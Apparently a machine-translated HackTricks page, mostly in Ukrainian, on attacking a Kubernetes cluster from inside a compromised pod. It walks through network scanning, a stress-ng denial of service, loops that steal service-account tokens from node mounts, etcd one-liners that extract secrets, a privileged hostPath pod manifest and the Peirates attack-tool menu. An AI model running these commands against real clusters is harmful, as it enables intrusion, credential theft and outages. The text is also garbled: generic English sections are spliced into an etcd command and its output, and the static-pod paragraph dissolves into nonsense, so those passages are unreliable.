Attacking Kubernetes from inside a Pod

Вивчайте та практикуйте хакінг AWS: Школа хакінгу HackTricks AWS Red Team Expert (ARTE) Вивчайте та практикуйте хакінг GCP: Школа хакінгу HackTricks GCP Red Team Expert (GRTE)

Підтримайте HackTricks

• Перевірте плани підписки!

• Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.

• Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.

Втеча з Pod

Якщо ви маєте достатньо щастя, ви можете втекти з нього на вузол:

Втеча з Pod

Для спроби втечі з Pod вам може знадобитися підвищення привілеїв спочатку, деякі техніки для цього:

Linux Privilege EscalationHackTricks

Ви можете перевірити ці втечі з Docker, щоб спробувати втекти з компрометованого вами Pod:

Docker Basics & BreakoutHackTricks

Зловживання привілеями Kubernetes

Як пояснено в розділі про перелік Kubernetes:

Kubernetes Enumeration

Зазвичай Pod запускаються з токеном облікового запису служби всередині них. Цей обліковий запис може мати деякі привілеї, які ви можете зловживати, щоб перейти до інших Pod або навіть втекти на налаштовані вузли всередині кластера. Перевірте як це робити:

Abusing Roles/ClusterRoles in Kubernetes

Зловживання привілеями Cloud

Якщо Pod запущено в хмарному середовищі, ви можете витікати токен з кінцевої точки метаданих та підвищувати привілеї, використовуючи його.

Пошук вразливих мережевих служб

Оскільки ви знаходитесь всередині середовища Kubernetes, якщо ви не можете підвищити привілеї, зловживаючи поточними привілеями Pod, і не можете втекти з контейнера, вам слід шукати потенційно вразливі служби.

Служби

Для цієї мети ви можете спробувати отримати всі служби середовища Kubernetes:

kubectl get svc --all-namespaces

За замовчуванням Kubernetes використовує плоску схему мережі, що означає, що будь-який pod/service в межах кластера може спілкуватися з іншими. Простори імен в межах кластера за замовчуванням не мають обмежень мережевої безпеки. Будь-хто в просторі імен може спілкуватися з іншими просторами імен.

Сканування

Наступний сценарій Bash (взятий з семінару з Kubernetes) встановить та просканує IP-діапазони кластера Kubernetes:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Перевірте наступну сторінку, щоб дізнатися, як ви можете здійснити атаку на конкретні служби Kubernetes, щоб компрометувати інші капсули/весь середовище:

Pentesting Kubernetes Services

Прослуховування

У випадку, якщо компромітована капсула запускає деяку чутливу службу, де іншим капсулам потрібна аутентифікація, ви можете отримати дані для входу, відправлені з інших капсул, прослуховуючи локальні комунікації.

Підроблення мережі

За замовчуванням такі техніки, як підроблення ARP (і завдяки цьому підроблення DNS), працюють в мережі Kubernetes. Потім, всередині капсули, якщо у вас є можливість NET_RAW (яка там за замовчуванням), ви зможете відправляти власноруч створені мережеві пакети та виконувати атаки типу MitM через підроблення ARP на всі капсули, що працюють на тому ж вузлі. Більше того, якщо зловмисна капсула працює на тому ж вузлі, що і DNS-сервер, ви зможете виконати атаку підроблення DNS на всі капсули в кластері.

Kubernetes Network Attacks

DoS вузла

У маніфестах Kubernetes не вказано ресурсів та не застосовано обмежень для контейнерів. Як зловмисник, ми можемо використовувати всі ресурси, де працює капсула/розгортання, і вичерпати інші ресурси, спричинивши DoS для середовища.

Це можна зробити за допомогою такого інструменту, як stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Ви можете побачити різницю під час виконання stress-ng і після.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Пост-експлуатація вузла

Якщо вам вдалося вийти з контейнера, ви знайдете цікаві речі на вузлі:

• Процес Container Runtime (Docker)

• Більше подів/контейнерів, що працюють на вузлі, які можна зловживати, як цей (більше токенів)

• Весь файловий систем та ОС взагалі

• Служба Kube-Proxy, що прослуховує

• Служба Kubelet, що прослуховує. Перевірте файли конфігурації:

• Директорія: /var/lib/kubelet/

• /var/lib/kubelet/kubeconfig

• /var/lib/kubelet/kubelet.conf

• /var/lib/kubelet/config.yaml

• /var/lib/kubelet/kubeadm-flags.env

• /etc/kubernetes/kubelet-kubeconfig

• Інші загальні файли Kubernetes:

• $HOME/.kube/config - Конфігурація користувача

• /etc/kubernetes/kubelet.conf- Звичайна конфігурація

• /etc/kubernetes/bootstrap-kubelet.conf - Конфігурація завантаження

• /etc/kubernetes/manifests/etcd.yaml - Конфігурація etcd

• /etc/kubernetes/pki - Ключ Kubernetes

Знайдіть kubeconfig вузла

Якщо ви не можете знайти файл kubeconfig в одному з раніше зазначених шляхів, перевірте аргумент --kubeconfig процесу kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Викрадення секретів

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Сценарій can-they.sh автоматично отримує токени інших капсул та перевіряє, чи мають вони необхідні дозволи (замість того, щоб ви перевіряли їх по одному):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Привілейовані DaemonSets

DaemonSet - це под, який буде запущений на всіх вузлах кластера. Тому, якщо DaemonSet налаштований з привілейованим обліковим записом сервісу, на ВСІХ вузлах ви зможете знайти токен цього привілейованого облікового запису, яким ви можете зловживати.

Експлойт такий самий, як у попередньому розділі, але тепер ви не залежите від удачі.

Перехід до хмари

Якщо кластер керується хмарним сервісом, зазвичай Вузол матиме інший доступ до кінцевої точки метаданих ніж Под. Тому спробуйте отримати доступ до кінцевої точки метаданих з вузла (або з поду з hostNetwork в True):

Kubernetes Pivoting to Clouds

Вкрасти etcd

Якщо ви можете вказати nodeName вузла, на якому буде запущений контейнер, отримайте оболонку всередині вузла керування та отримайте базу даних etcd:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane вузли мають роль майстра і в кластерах, керованих хмарою, ви не зможете запускати на них нічого.

Читання секретів з etcd

Якщо ви можете запустити свій под на вузлі control-plane, використовуючи селектор nodeName в специфікації пода, ви можете легко отримати доступ до бази даних etcd, яка містить всю конфігурацію кластера, включаючи всі секрети.

Нижче наведено швидкий і нечесний спосіб витягти секрети з etcd, якщо він працює на вузлі control-plane, на якому ви знаходитесь. Якщо ви хочете більш елег гарне рішення, яке запускає под з утилітою клієнта etcd etcdctl та використовує облікові дані вузла control-plane для підключення до etcd, де б він не запускався, перегляньте цей прикладний файл від @mauilion.

Перевірте, чи працює etcd на вузлі control-plane та перегляньте, де знаходиться база даних (це на кластері, створеному за допомогою kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

## Attacking Kubernetes from Inside a Pod

### Introduction

When an attacker gains access to a Kubernetes pod, they are in a privileged position to perform further attacks within the cluster. This section explores various techniques that an attacker can use to escalate privileges and move laterally within the Kubernetes environment.

### Privilege Escalation

#### Exploiting Misconfigured RBAC Roles

If the attacker can identify misconfigured Role-Based Access Control (RBAC) roles within the cluster, they may be able to escalate their privileges to perform actions they are not authorized to do. This can include accessing sensitive resources or modifying critical components of the cluster.

#### Accessing the Kubernetes API Server

By accessing the Kubernetes API server from within a compromised pod, an attacker can potentially interact with the cluster in unintended ways. This could allow them to create or delete resources, view configuration details, or even launch additional pods with malicious intent.

### Lateral Movement

#### Pod Hopping

Once inside a pod, an attacker can move laterally by hopping from one pod to another within the same node or across different nodes in the cluster. This can help them evade detection and expand their reach within the Kubernetes environment.

#### Exploiting Service Accounts

Service accounts are used by pods to authenticate and communicate with the Kubernetes API server. If an attacker compromises a pod with elevated service account privileges, they can leverage this access to move laterally and perform unauthorized actions across the cluster.

### Conclusion

Securing Kubernetes pods is crucial to prevent attackers from exploiting vulnerabilities and moving laterally within the cluster. By understanding these attack techniques, security professionals can better defend against such threats and ensure the integrity of their Kubernetes environments.

data-dir=/var/lib/etcd

Переглянути дані в базі даних etcd:

strings /var/lib/etcd/member/snap/db | less

Витягніть токени з бази даних та покажіть ім'я облікового запису служби

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Та ж команда, але з деякими greps, щоб повернути лише типовий токен у просторі імен kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

## Attacking Kubernetes from Inside a Pod

### Introduction

When an attacker gains access to a Kubernetes pod, they are already inside the cluster and can potentially access other pods and services. This section explores various techniques an attacker can use to escalate privileges and move laterally within a Kubernetes cluster.

### Privilege Escalation

#### Exploiting Misconfigured RBAC Roles

If the attacker can find a misconfigured Role-Based Access Control (RBAC) role that grants more permissions than necessary, they can abuse it to escalate their privileges within the cluster.

#### Accessing the Kubernetes API

By accessing the Kubernetes API from inside a pod, an attacker can gather information about the cluster, modify resources, and perform other malicious activities.

### Lateral Movement

#### Pod Hopping

Once inside a pod, an attacker can use various techniques to move laterally within the cluster, such as accessing the API server, compromising other pods, or exploiting misconfigurations.

#### Service Account Compromise

If the attacker compromises a pod's service account token, they can impersonate the account and potentially access other resources within the cluster.

### Conclusion

Securing Kubernetes clusters from insider threats is crucial to prevent unauthorized access and data breaches. Regularly auditing RBAC roles, monitoring pod activities, and securing service accounts are essential steps to enhance Kubernetes security.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Статична/Дзеркальна Постійність Подів

Статичні Поди керуються безпосередньо демоном kubelet на конкретному вузлі, без спостереження API-сервера за ними. На відміну від Подів, які керуються планом управління (н Відділення); замість цього, kubelet спостерігає за кожним статичним Подом (і перезапускає його у разі невдачі).

Отже, статичні Поди завж Norris **р П В E в,

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Видалення pods + вимкнення nodes

Якщо зловмисник зламав node і може видаляти pods з інших nodes і зробити інші nodes неспроможними виконувати pods, то pods будуть перезапущені на скомпрометованому node, і він зможе вкрасти токени, які в них запущені. Для додаткової інформації перейдіть за цими посиланнями.

Автоматичні інструменти

• https://github.com/inguardians/peirates

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates

• https://github.com/r0binak/MTKPI

Вивчайте та практикуйте хакінг AWS: Навчання HackTricks AWS Red Team Expert (ARTE) Вивчайте та практикуйте хакінг GCP: Навчання HackTricks GCP Red Team Expert (GRTE)

Підтримайте HackTricks

• Перевірте плани підписки!

• Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.

• Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.